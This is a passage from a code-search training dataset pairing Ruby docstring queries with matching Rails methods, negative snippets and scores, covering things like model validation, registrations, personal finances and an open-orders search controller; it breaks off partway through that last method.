query stringlengths 7 9.55k | document stringlengths 10 363k | metadata dict | negatives listlengths 0 101 | negative_scores listlengths 0 101 | document_score stringlengths 3 10 | document_rank stringclasses 102
values |
|---|---|---|---|---|---|---|
Check to see if the all the properties in the model are valid | def valid?
return false if @beez_up_order_item_id.nil?
return false if @order_item_order_item_type.nil?
return true
end | {
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
} | [
"def validate_properties\n true\n end",
"def validate_properties\n true\n end",
"def validate\n super\n\n check_optional_property :collection, String\n check_optional_property :create, String\n check_optional_property :delete, String\n check_optional_property :... | [
"0.78989387",
"0.78989387",
"0.7097542",
"0.7077744",
"0.7031459",
"0.703038",
"0.69501424",
"0.6869871",
"0.68576187",
"0.68576187",
"0.68280154",
"0.68235457",
"0.682004",
"0.6814453",
"0.67930245",
"0.67521733",
"0.66832304",
"0.6675793",
"0.66681546",
"0.6629595",
"0.6617... | 0.0 | -1 |
Checks equality by comparing each attribute. | def ==(o)
return true if self.equal?(o)
self.class == o.class &&
beez_up_order_item_id == o.beez_up_order_item_id &&
order_item_order_item_type == o.order_item_order_item_type &&
order_item_merchant_imported_product_id == o.order_item_merchant_imported_product_id &&
order_item_merchant_imported_product_id_column_name == o.order_item_merchant_imported_product_id_column_name &&
order_item_merchant_imported_product_url == o.order_item_merchant_imported_product_url &&
order_item_merchant_product_id_column_name == o.order_item_merchant_product_id_column_name &&
order_item_beez_up_store_id == o.order_item_beez_up_store_id &&
order_item_item_tax == o.order_item_item_tax &&
order_item_title == o.order_item_title &&
order_item_image_url == o.order_item_image_url &&
order_item_merchant_product_id == o.order_item_merchant_product_id &&
order_item_market_place_product_id == o.order_item_market_place_product_id &&
order_item_item_price == o.order_item_item_price &&
order_item_quantity == o.order_item_quantity &&
order_item_total_price == o.order_item_total_price &&
order_item_shipping_price == o.order_item_shipping_price
end | {
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
} | [
"def ==(other)\n attributes == other.attributes\n end",
"def ==(other) # :nodoc:\n @attrs == other.attrs\n end",
"def eql?(other)\n return true if self == other\n @@ATTRIBUTES.each do |att|\n return false unless self.send(att).eql?(other.send(att))\n end\n true\n en... | [
"0.7291717",
"0.7188103",
"0.70395297",
"0.7007927",
"0.68874705",
"0.6861532",
"0.6707156",
"0.6660597",
"0.66147524",
"0.658478",
"0.6584619",
"0.6580019",
"0.65543133",
"0.6543933",
"0.65068495",
"0.6479513",
"0.6456241",
"0.6415999",
"0.6412208",
"0.6412208",
"0.6412208",... | 0.0 | -1 |
Calculates hash code according to all attributes. | def hash
[beez_up_order_item_id, order_item_order_item_type, order_item_merchant_imported_product_id, order_item_merchant_imported_product_id_column_name, order_item_merchant_imported_product_url, order_item_merchant_product_id_column_name, order_item_beez_up_store_id, order_item_item_tax, order_item_title, order_item_image_url, order_item_merchant_product_id, order_item_market_place_product_id, order_item_item_price, order_item_quantity, order_item_total_price, order_item_shipping_price].hash
end | {
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
} | [
"def attr_hash\n Digest::MD5.hexdigest(\"#{@name}:#{@ruby_type}\")\n end",
"def hash() end",
"def hash() end",
"def hash() end",
"def hash() end",
"def hash() end",
"def hash() end",
"def hash() end",
"def hash\n code = 17\n code = 37*code + @x.hash\n code = 37*code + @y.hash\n ... | [
"0.7118691",
"0.70400536",
"0.70400536",
"0.70400536",
"0.70400536",
"0.70400536",
"0.70400536",
"0.70400536",
"0.68960655",
"0.67847186",
"0.6707762",
"0.670052",
"0.6688737",
"0.66705376",
"0.6489735",
"0.6462376",
"0.6462376",
"0.64444333",
"0.6413127",
"0.6395483",
"0.638... | 0.0 | -1 |
Builds the object from hash | def build_from_hash(attributes)
return nil unless attributes.is_a?(Hash)
self.class.swagger_types.each_pair do |key, type|
if type =~ /\AArray<(.*)>/i
# check to ensure the input is an array given that the the attribute
# is documented as an array but the input is not
if attributes[self.class.attribute_map[key]].is_a?(Array)
self.send("#{key}=", attributes[self.class.attribute_map[key]].map{ |v| _deserialize($1, v) } )
end
elsif !attributes[self.class.attribute_map[key]].nil?
self.send("#{key}=", _deserialize(type, attributes[self.class.attribute_map[key]]))
end # or else data not found in attributes(hash), not an issue as the data can be optional
end
self
end | {
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
} | [
"def build(hash)\n obj = new\n hash.each_pair do |k,v|\n obj[k] = v if variables[k]\n end\n return obj\n end",
"def build_from_hash(attributes)\n\n end",
"def build_from_hash(hash)\n instance = self.new\n\n # Add the instance attributes dynamically ... | [
"0.8011074",
"0.7470833",
"0.7457607",
"0.7256629",
"0.72455454",
"0.70060325",
"0.6973257",
"0.6955014",
"0.69459796",
"0.69398683",
"0.69363195",
"0.6917627",
"0.6872358",
"0.6796184",
"0.6783521",
"0.67575246",
"0.67575246",
"0.67560464",
"0.67514306",
"0.67136854",
"0.666... | 0.0 | -1 |
Deserializes the data based on type | def _deserialize(type, value)
case type.to_sym
when :DateTime
DateTime.parse(value)
when :Date
Date.parse(value)
when :String
value.to_s
when :Integer
value.to_i
when :Float
value.to_f
when :BOOLEAN
if value.to_s =~ /\A(true|t|yes|y|1)\z/i
true
else
false
end
when :Object
# generic object (usually a Hash), return directly
value
when /\AArray<(?<inner_type>.+)>\z/
inner_type = Regexp.last_match[:inner_type]
value.map { |v| _deserialize(inner_type, v) }
when /\AHash<(?<k_type>.+?), (?<v_type>.+)>\z/
k_type = Regexp.last_match[:k_type]
v_type = Regexp.last_match[:v_type]
{}.tap do |hash|
value.each do |k, v|
hash[_deserialize(k_type, k)] = _deserialize(v_type, v)
end
end
else # model
temp_model = SwaggerClient.const_get(type).new
temp_model.build_from_hash(value)
end
end | {
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
} | [
"def _deserialize(type, value)\n case type.to_sym\n when :DateTime\n DateTime.parse(value)\n when :Date\n Date.parse(value)\n when :String\n value.to_s\n when :Integer\n value.to_i\n when :Float\n value.to_f\n when :BOOLEAN\n if value.to_s... | [
"0.7330926",
"0.7274019",
"0.72504056",
"0.7245751",
"0.72291344",
"0.72291344",
"0.72291344",
"0.72291344",
"0.72291344",
"0.72291344",
"0.72291344",
"0.72291344",
"0.72291344",
"0.72291344",
"0.72291344",
"0.72291344",
"0.72291344",
"0.72291344",
"0.72291344",
"0.72291344",
... | 0.0 | -1 |
Returns the string representation of the object | def to_s
to_hash.to_s
end | {
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
} | [
"def to_s\n @object.to_s\n end",
"def to_s\n object.to_s\n end",
"def serialize(object)\n object.to_s\n end",
"def to_s\n self.inspect\n end",
"def to_s\n @string || @object.to_s('F')\n end",
"def to_s\n @string || @object.to_s('F')\n end",
"de... | [
"0.901024",
"0.89506465",
"0.84703195",
"0.83409667",
"0.8337169",
"0.8337169",
"0.8332247",
"0.82546586",
"0.8145818",
"0.8144667",
"0.81357557",
"0.812714",
"0.8093436",
"0.8086725",
"0.8073356",
"0.8039774",
"0.80308646",
"0.80064154",
"0.80064154",
"0.80064154",
"0.800641... | 0.0 | -1 |
to_body is an alias to to_hash (backward compatibility) | def to_body
to_hash
end | {
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
} | [
"def to_body\r\n to_hash\r\n end",
"def to_body\n to_hash\nend",
"def to_body\n to_hash\nend"
] | [
"0.84283537",
"0.8347048",
"0.8347048"
] | 0.0 | -1 |
Returns the object in the form of hash | def to_hash
hash = {}
self.class.attribute_map.each_pair do |attr, param|
value = self.send(attr)
next if value.nil?
hash[param] = _to_hash(value)
end
hash
end | {
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
} | [
"def to_hash\n object\n end",
"def hash\r\n return to_s.hash\r\n end",
"def hash\n to_a.hash\n end",
"def hash\n [_hash, name, owner].hash\n end",
"def hash\n return to_s.hash\n end",
"def hash\n @hash\n end",
"def hash\n @hash.hash\n end",
"def hash\n ... | [
"0.8269",
"0.7876941",
"0.7872708",
"0.7801793",
"0.7789242",
"0.7780622",
"0.777597",
"0.77676195",
"0.77603126",
"0.77603126",
"0.7756104",
"0.7731049",
"0.7712994",
"0.7712994",
"0.7712994",
"0.7712994",
"0.7712994",
"0.7712994",
"0.7712994",
"0.7712994",
"0.7712994",
"0... | 0.0 | -1 |
Outputs nonarray value in the form of hash For object, use to_hash. Otherwise, just return the value | def _to_hash(value)
if value.is_a?(Array)
value.compact.map{ |v| _to_hash(v) }
elsif value.is_a?(Hash)
{}.tap do |hash|
value.each { |k, v| hash[k] = _to_hash(v) }
end
elsif value.respond_to? :to_hash
value.to_hash
else
value
end
end | {
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
} | [
"def hash\n [value].hash\n end",
"def hash\n [value].hash\n end",
"def hash\n\t\tvalue.hash\n\tend",
"def hash\n value.hash\n end",
"def hash\n @value.hash\n end",
"def hash\r\n return to_s.hash\r\n end",
"def to_hash\n @value\n end",
"def to_hash\n @va... | [
"0.6721141",
"0.6721141",
"0.6669307",
"0.6657516",
"0.65881944",
"0.64546305",
"0.6417055",
"0.6417055",
"0.63820255",
"0.6347241",
"0.6304414",
"0.62256294",
"0.6152774",
"0.6103169",
"0.60812396",
"0.60812396",
"0.6073306",
"0.60379034",
"0.60199827",
"0.59392405",
"0.5905... | 0.0 | -1 |
GET /animal_weights GET /animal_weights.xml | def index
if params[:animal_id]
@search = AnimalWeight.includes(:animal).organization(current_user).where(animal_id: params[:animal_id]).search(params[:q])
else
@search = AnimalWeight.includes(:animal).organization(current_user).search(params[:q])
end
@animal_weights = @search.result.paginate(page: params[:page], per_page: 10).order('updated_at DESC')
@animals = Animal.organization(current_user).order('name')
respond_with(@animal_weights) do |format|
format.html
format.csv do
render csv: AnimalWeight.includes(:animal).organization(current_user),
filename: 'animal_weights'
end
end
end | {
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
} | [
"def index\n @weights = current_user.weights\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @weights }\n end\n end",
"def index\n @weights = Weight.all\n end",
"def show\n @animal_weight = AnimalWeight.find(params[:id])\n @animals... | [
"0.6609577",
"0.633068",
"0.63241255",
"0.62837964",
"0.62745005",
"0.6255423",
"0.61600924",
"0.61588985",
"0.584154",
"0.58401513",
"0.5831464",
"0.5724989",
"0.5724989",
"0.5694954",
"0.5651234",
"0.56309336",
"0.5617292",
"0.5604629",
"0.55902684",
"0.5583729",
"0.5531454... | 0.6326153 | 2 |
GET /animal_weights/1 GET /animal_weights/1.xml | def show
@animal_weight = AnimalWeight.find(params[:id])
@animals = Animal.where(organization_id: current_user.organization_id).collect { |x| [x.id.to_s, x.name.to_s] }
respond_with(@animal_weight)
end | {
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
} | [
"def show\n @weight = Weight.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.xml { render :xml => @weight }\n end\n end",
"def index\n if params[:animal_id]\n @search = AnimalWeight.includes(:animal).organization(current_user).where(animal_id: param... | [
"0.64499366",
"0.6298136",
"0.61598206",
"0.6127804",
"0.6119254",
"0.60532695",
"0.60436887",
"0.6001478",
"0.57847536",
"0.5649134",
"0.5619492",
"0.56066054",
"0.5591721",
"0.5591721",
"0.556182",
"0.5556688",
"0.5556486",
"0.54652154",
"0.5372647",
"0.53685886",
"0.533644... | 0.63296187 | 1 |
Use callbacks to share common setup or constraints between actions. | def set_companies_service
@service = Service.where(company_id: @current_company.id).find(params[:id])
end | {
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
} | [
"def set_required_actions\n # TODO: check what fields change to asign required fields\n end",
"def action_hook; end",
"def run_actions; end",
"def define_action_hook; end",
"def actions; end",
"def define_action_helpers\n if super && action == :save\n @instance_helper_module.class_... | [
"0.61637366",
"0.60446453",
"0.59452957",
"0.591511",
"0.58885515",
"0.5834122",
"0.57761765",
"0.5702554",
"0.5702554",
"0.5652102",
"0.5619581",
"0.5423898",
"0.5409782",
"0.5409782",
"0.5409782",
"0.5394745",
"0.53780794",
"0.5356209",
"0.5338898",
"0.53381324",
"0.5328622... | 0.0 | -1 |
Never trust parameters from the scary internet, only allow the white list through. | def service_params
params.require(:service)
.permit(:name)
.merge(company_id: @current_company.id)
end | {
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
} | [
"def strong_params\n params.require(:user).permit(param_whitelist)\n end",
"def strong_params\n params.require(:listing_member).permit(param_whitelist)\n end",
"def allow_params_authentication!; end",
"def allowed_params\n ALLOWED_PARAMS\n end",
"def default_param_whitelist\n [\"mode\"]\n... | [
"0.6981606",
"0.6784227",
"0.6746523",
"0.67439264",
"0.67361516",
"0.6593381",
"0.6506166",
"0.64994407",
"0.6483518",
"0.64797056",
"0.64578557",
"0.6441216",
"0.63811713",
"0.63773805",
"0.6366333",
"0.63217646",
"0.6301816",
"0.63009787",
"0.6294436",
"0.62940663",
"0.629... | 0.0 | -1 |
GET /personal_finances GET /personal_finances.json | def index
@personal_finances = PersonalFinance.all
end | {
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
} | [
"def get_financials\n render json: [current_user]\n end",
"def index\n @monthly_finances = MonthlyFinance.all\n # respond_to do |format|\n # format.html # index.html.erb\n # format.json { render json: @monthly_finances }\n # end\n end",
"def get_folio_data\n netid = params['netid']\... | [
"0.6250029",
"0.61017853",
"0.60621",
"0.5943769",
"0.594304",
"0.5814217",
"0.5749593",
"0.57301843",
"0.5728286",
"0.57177085",
"0.569423",
"0.56412053",
"0.563486",
"0.5606361",
"0.5588747",
"0.5571425",
"0.5565592",
"0.55476946",
"0.5520126",
"0.5512042",
"0.55098873",
... | 0.7304142 | 0 |
GET /personal_finances/1 GET /personal_finances/1.json | def show
end | {
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
} | [
"def index\n @personal_finances = PersonalFinance.all\n end",
"def get_financials\n render json: [current_user]\n end",
"def show\n @financial = Financial.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @financial }\n end\n end"... | [
"0.71865404",
"0.6138856",
"0.6114245",
"0.60961956",
"0.60468763",
"0.6044074",
"0.5854274",
"0.58162177",
"0.5809608",
"0.58036727",
"0.5802478",
"0.57940114",
"0.57869893",
"0.57634467",
"0.57582533",
"0.5746274",
"0.5723962",
"0.57164204",
"0.56866133",
"0.5668605",
"0.56... | 0.0 | -1 |
POST /personal_finances POST /personal_finances.json | def create
@personal_finance = PersonalFinance.new(personal_finance_params)
respond_to do |format|
if @personal_finance.save
format.html { redirect_to @personal_finance, notice: 'Personal finance was successfully created.' }
format.json { render action: 'show', status: :created, location: @personal_finance }
else
format.html { render action: 'new' }
format.json { render json: @personal_finance.errors, status: :unprocessable_entity }
end
end
end | {
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
} | [
"def save_financials\n current_user.update(assets: params[:assets], average_annual_income: params[:average_annual_income], credit_score: params[:credit_score], total_debt: params[:total_debt])\n user_listings = current_user.listings\n render json: [current_user, user_listings]\n end",
"def index\n @p... | [
"0.62284154",
"0.61925334",
"0.594711",
"0.58552086",
"0.5847254",
"0.5773996",
"0.5731713",
"0.5721695",
"0.5648223",
"0.5578288",
"0.5567012",
"0.55666107",
"0.55329937",
"0.5492637",
"0.5491438",
"0.5444974",
"0.54364055",
"0.54331136",
"0.54316235",
"0.5400006",
"0.537825... | 0.6649903 | 0 |
PATCH/PUT /personal_finances/1 PATCH/PUT /personal_finances/1.json | def update
respond_to do |format|
if @personal_finance.update(personal_finance_params)
format.html { redirect_to @personal_finance, notice: 'Personal finance was successfully updated.' }
format.json { head :no_content }
else
format.html { render action: 'edit' }
format.json { render json: @personal_finance.errors, status: :unprocessable_entity }
end
end
end | {
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
} | [
"def update\n\n @foaf.interests.clear\n\n if(foaf_params.has_key?(:interests_attributes))\n interest_ids = foaf_params[:interests_attributes].split(\",\").map { |s| s.to_i }\n interest_ids.each do |i|\n @foaf.interests << Interest.find(i)\n #@foaf.update(Interest.find(i))\n end\n ... | [
"0.68180305",
"0.67841965",
"0.64463955",
"0.6377088",
"0.6324132",
"0.61823666",
"0.6156342",
"0.61547965",
"0.61535245",
"0.61471754",
"0.6144514",
"0.6144514",
"0.6088164",
"0.6069925",
"0.6062867",
"0.60628533",
"0.60595965",
"0.6049439",
"0.60478365",
"0.6037218",
"0.602... | 0.69052434 | 0 |
DELETE /personal_finances/1 DELETE /personal_finances/1.json | def destroy
@personal_finance.destroy
respond_to do |format|
format.html { redirect_to personal_finances_url }
format.json { head :no_content }
end
end | {
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
} | [
"def destroy\n @personal.destroy\n respond_to do |format|\n format.html { redirect_to personals_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @financial = Financial.find(params[:id])\n @financial.destroy\n\n respond_to do |format|\n format.html { redirect_... | [
"0.7011249",
"0.6767207",
"0.6692879",
"0.6676493",
"0.66489744",
"0.66470325",
"0.6646491",
"0.6636383",
"0.66265255",
"0.66239166",
"0.6615338",
"0.6613948",
"0.66001236",
"0.659172",
"0.6589606",
"0.65645206",
"0.65636283",
"0.65631914",
"0.6555392",
"0.65536547",
"0.65533... | 0.74244165 | 0 |
Use callbacks to share common setup or constraints between actions. | def set_personal_finance
@personal_finance = PersonalFinance.find(params[:id])
end | {
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
} | [
"def set_required_actions\n # TODO: check what fields change to asign required fields\n end",
"def action_hook; end",
"def run_actions; end",
"def define_action_hook; end",
"def actions; end",
"def define_action_helpers\n if super && action == :save\n @instance_helper_module.class_... | [
"0.6163163",
"0.6045976",
"0.5946146",
"0.591683",
"0.5890051",
"0.58349305",
"0.5776858",
"0.5703237",
"0.5703237",
"0.5652805",
"0.5621621",
"0.54210985",
"0.5411113",
"0.5411113",
"0.5411113",
"0.5391541",
"0.53794575",
"0.5357573",
"0.53402257",
"0.53394014",
"0.53321576"... | 0.0 | -1 |
Never trust parameters from the scary internet, only allow the white list through. | def personal_finance_params
params.require(:personal_finance).permit(:user_info_id, :monthly_income, :dpi, :pcdi)
end | {
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
} | [
"def strong_params\n params.require(:user).permit(param_whitelist)\n end",
"def strong_params\n params.require(:listing_member).permit(param_whitelist)\n end",
"def allow_params_authentication!; end",
"def allowed_params\n ALLOWED_PARAMS\n end",
"def default_param_whitelist\n [\"mode\"]\n... | [
"0.69780594",
"0.678054",
"0.6742781",
"0.67387927",
"0.67346025",
"0.6590683",
"0.6501642",
"0.6495788",
"0.6479752",
"0.64763314",
"0.645457",
"0.6437739",
"0.6377168",
"0.6372484",
"0.6363871",
"0.63179374",
"0.62981373",
"0.6297456",
"0.62916917",
"0.6290227",
"0.628954",... | 0.0 | -1 |
TODO Add scope for roles | def downcase_role
self.role.downcase
end | {
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
} | [
"def role; end",
"def role; end",
"def roles\n roles_from_users\n end",
"def index\n authorize Role\n @roles = Role.all\n end",
"def index\n @roles = policy_scope(Role).page(pagination[:page]).per(pagination[:per])\n end",
"def roles\n self.dig_for_array(\"roles\")\n end",
"def role_s... | [
"0.7379137",
"0.7379137",
"0.71586365",
"0.70382166",
"0.7026995",
"0.7006642",
"0.6857015",
"0.68485856",
"0.68366873",
"0.6756264",
"0.6751064",
"0.673246",
"0.67273325",
"0.67232406",
"0.672091",
"0.672091",
"0.6687035",
"0.6677826",
"0.6668165",
"0.66641665",
"0.6659946",... | 0.0 | -1 |
GET /registrations GET /registrations.json | def index
@registrations = Registration.all.order('created_at DESC')
end | {
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
} | [
"def index\n @registrations = Registration.all\n \n render json: @registrations\n end",
"def index\n @registrations = Registration.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @registrations }\n end\n end",
"def index\n ... | [
"0.7722891",
"0.7635744",
"0.7459565",
"0.7147055",
"0.7147055",
"0.7147055",
"0.7147055",
"0.7147055",
"0.70149106",
"0.6947169",
"0.689261",
"0.6832592",
"0.68277705",
"0.68191713",
"0.68175954",
"0.6779641",
"0.65601885",
"0.654374",
"0.654374",
"0.64858365",
"0.647771",
... | 0.5710314 | 63 |
GET /registrations/1 GET /registrations/1.json | def show
render layout: "sin_menu" unless user_signed_in?
end | {
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
} | [
"def index\n @registrations = Registration.all\n \n render json: @registrations\n end",
"def index\n @registrations = Registration.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @registrations }\n end\n end",
"def index\n ... | [
"0.73174536",
"0.7139017",
"0.7078984",
"0.70184135",
"0.68697435",
"0.6831672",
"0.6831672",
"0.6831672",
"0.6831672",
"0.6831672",
"0.68122303",
"0.6797874",
"0.6728303",
"0.6728303",
"0.6679731",
"0.6622021",
"0.66164106",
"0.6604362",
"0.65911",
"0.65895605",
"0.65533376"... | 0.0 | -1 |
POST /registrations POST /registrations.json | def create
@registration = Registration.new(registration_params)
@registration.group_id = sortear_grupo(@registration.colonist_age, @registration.colonist_gender)
respond_to do |format|
if @registration.save
format.html { redirect_to @registration, notice: "Bienvenido a la familia Buena Onda. Ya estás pre-inscripto. No olvides pasar por el club [dirección] de (9) a (18) dentro de las próximas 72 hs para confirmar la inscripción de #{@registration.colonist_name} y abonar la inscripción." }
format.json { render :show, status: :created, location: @registration }
else
format.html { render :new }
format.json { render json: @registration.errors, status: :unprocessable_entity }
end
end
end | {
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
} | [
"def create\n @registrer = Registrer.new(registrer_params)\n\n respond_to do |format|\n if @registrer.save\n format.html { redirect_to @registrer, notice: 'Registrer was successfully created.' }\n format.json { render :show, status: :created, location: @registrer }\n else\n form... | [
"0.7056018",
"0.68807036",
"0.67268294",
"0.6649915",
"0.6642139",
"0.66413057",
"0.6526848",
"0.6524904",
"0.65170664",
"0.6516524",
"0.64806175",
"0.64666563",
"0.6449539",
"0.6432199",
"0.6427881",
"0.6412447",
"0.63901466",
"0.6387278",
"0.6384244",
"0.63775855",
"0.63552... | 0.6527483 | 6 |
PATCH/PUT /registrations/1 PATCH/PUT /registrations/1.json | def update
respond_to do |format|
if @registration.update(registration_params)
if params[:action] == "update" && params[:registration]["group_id"]
format.html { redirect_to @registration, notice: "El colono \"#{@registration.colonist_name}\" ha sido movido exitosamente al \"#{@registration.group.nombre}\"." }
format.json { render :show, status: :ok, location: @registration }
else
format.html { redirect_to @registration, notice: 'Se actualizarón los datos correctamente.' }
format.json { render :show, status: :ok, location: @registration }
end
else
format.html { render :edit }
format.json { render json: @registration.errors, status: :unprocessable_entity }
end
end
end | {
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
} | [
"def update\n respond_to do |format|\n if @registration.update(registration_params)\n\n format.html { redirect_to @registration, notice: 'Registration was successfully updated.' }\n format.json { head :no_content }\n\n else\n format.html { render action: 'edit' }\n format.js... | [
"0.66148514",
"0.6601594",
"0.65958834",
"0.6539336",
"0.65044075",
"0.6480161",
"0.6470629",
"0.6455447",
"0.6450685",
"0.6450685",
"0.6450685",
"0.6444911",
"0.6444815",
"0.6444368",
"0.64144754",
"0.6386136",
"0.63363457",
"0.6325889",
"0.6211147",
"0.617939",
"0.6171761",... | 0.5765935 | 70 |
DELETE /registrations/1 DELETE /registrations/1.json | def destroy
@registration.destroy
respond_to do |format|
format.html { redirect_to registrations_url, notice: 'El colono ha sido eliminado correctamente.' }
format.json { head :no_content }
end
end | {
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
} | [
"def destroy\n @registration.destroy\n respond_to do |format|\n format.html { redirect_to registrations_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @registration = Registration.find(params[:id])\n @registration.destroy\n\n respond_to do |format|\n format... | [
"0.76698387",
"0.7600716",
"0.75186884",
"0.7503781",
"0.7498831",
"0.7498831",
"0.7470792",
"0.74407625",
"0.7394093",
"0.7394093",
"0.7394093",
"0.7394093",
"0.7394093",
"0.73897654",
"0.7385971",
"0.7367384",
"0.7341669",
"0.7341669",
"0.7341669",
"0.7341669",
"0.7341669",... | 0.73999435 | 8 |
Use callbacks to share common setup or constraints between actions. | def set_registration
@registration = Registration.find(params[:id])
end | {
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
} | [
"def set_required_actions\n # TODO: check what fields change to asign required fields\n end",
"def action_hook; end",
"def run_actions; end",
"def define_action_hook; end",
"def actions; end",
"def define_action_helpers\n if super && action == :save\n @instance_helper_module.class_... | [
"0.6163163",
"0.6045976",
"0.5946146",
"0.591683",
"0.5890051",
"0.58349305",
"0.5776858",
"0.5703237",
"0.5703237",
"0.5652805",
"0.5621621",
"0.54210985",
"0.5411113",
"0.5411113",
"0.5411113",
"0.5391541",
"0.53794575",
"0.5357573",
"0.53402257",
"0.53394014",
"0.53321576"... | 0.0 | -1 |
Never trust parameters from the scary internet, only allow the white list through. | def registration_params
params.require(:registration).permit(:colonist_name, :colonist_age, :colonist_birtday, :colonist_gender, :colonist_dni, :colonist_address, :colonist_telephone, :colonist_email, :colonist_school_name, :colonist_grade, :colonist_school_address, :colonist_school_phone, :colonist_medical_insurance, :colonist_trauma, :colonist_surgery, :colonist_illness_asthma, :colonist_illness_allergy, :colonist_illness_heart_failure, :colonist_illness_diabetes, :colonist_illness_other, :colonist_medical_observation, :colonist_doctor, :colonist_know_swim, :colonist_swim_school, :colonist_swim_leave_reasons, :how_know_us, :parents_relation, :father_name, :father_age, :father_lives, :father_visit, :father_email, :father_profession, :father_work_phone, :mother_name, :mother_age, :mother_lives, :mother_visit, :mother_email, :mother_profession, :mother_work_phone, :who_register, :i_attest, :group_id, :admission)
end | {
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
} | [
"def strong_params\n params.require(:user).permit(param_whitelist)\n end",
"def strong_params\n params.require(:listing_member).permit(param_whitelist)\n end",
"def allow_params_authentication!; end",
"def allowed_params\n ALLOWED_PARAMS\n end",
"def default_param_whitelist\n [\"mode\"]\n... | [
"0.69780594",
"0.678054",
"0.6742781",
"0.67387927",
"0.67346025",
"0.6590683",
"0.6501642",
"0.6495788",
"0.6479752",
"0.64763314",
"0.645457",
"0.6437739",
"0.6377168",
"0.6372484",
"0.6363871",
"0.63179374",
"0.62981373",
"0.6297456",
"0.62916917",
"0.6290227",
"0.628954",... | 0.0 | -1 |
This action is of index page (front page when someone clicked on Open Order Status link) Showing search page for open orders | def index
#default values for days to be rendered in view
@days_format = OpenOrder.get_select_values
#default values for search by values to be rendered in view
@search_by_values = OpenOrder.get_search_values
end | {
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
} | [
"def index\n @status = params[:status]\n @orders = Order.last_opened.page params[:page]\n @orders = @orders.where status: @status if @status\n end",
"def index\n @orders = Order.all_open.reverse\n @action = params[:action]\n\n respond_to do |format|\n format.html { render :action => :index... | [
"0.72430426",
"0.69385266",
"0.68222743",
"0.6778978",
"0.67425394",
"0.6737535",
"0.67271876",
"0.6680048",
"0.6669968",
"0.6666725",
"0.6640195",
"0.65972304",
"0.65782046",
"0.6568223",
"0.65578836",
"0.6468339",
"0.6463239",
"0.6454271",
"0.64284164",
"0.64017385",
"0.639... | 0.0 | -1 |
This action is to show open order search result page, based on selected search by and date range value If search by value is "all", it sends all open orders to buyer email otherwise it will display all open orders and shipped orders for corresponding search criteria | def search
#default values for days to be rendered in view
@days_format = OpenOrder.get_select_values
#default values for search by values to be rendered in view
@search_by_values = OpenOrder.get_search_values
#checking whether search by value is "all"
if params[:search_by].include? "all"
# ITR: Threading of “All Open Order” request
# Creating a Thread to Send mail in Background Process.
thread = Thread.new { invoke_webservice method: 'post', action: 'openOrders', data: { custNo: current_user,custEm: session[:buyer_email]} }
at_exit { thread.join }
@response_send_open_orders = thread.status
flash.now[:notice] = I18n.translate("mail_msg",:name => session[:buyer_email],:scope => "open_orders.search")
#checking whether response from webservice is not null
# if @response_send_open_orders
# #checking whether errCode variable from response is 0 or ""
# if @response_send_open_orders["errCode"] == "0" || @response_send_open_orders["errCode"] == ""
# flash.now[:notice] = I18n.translate("mail_msg",:name => session[:buyer_email],:scope => "open_orders.search")
# #if errCode variable from response is 0 or ""
# else
# flash.now[:notice] = @response_send_open_orders["errMsg"]
# end
# #End of checking whether errCode variable from response is 0 or ""
# #if response from webservice is null
# else
# flash.now[:alert] = I18n.translate("service_unavailable",:scope => "rma.error")
# end
#End of checking whether response from webservice is not null
render :index
#if search by value is other than "all"
else
search_for = params[:search_for].try(:strip).try(:upcase)
search_by = params[:search_by]
search_start_date = (Time.now - params[:start_date].to_i.days).strftime("%m/%d/%Y")
search_end_date = Time.now.strftime("%m/%d/%Y")
#checking whether search by value is "pn"(part number)
if params[:search_by] != "po"
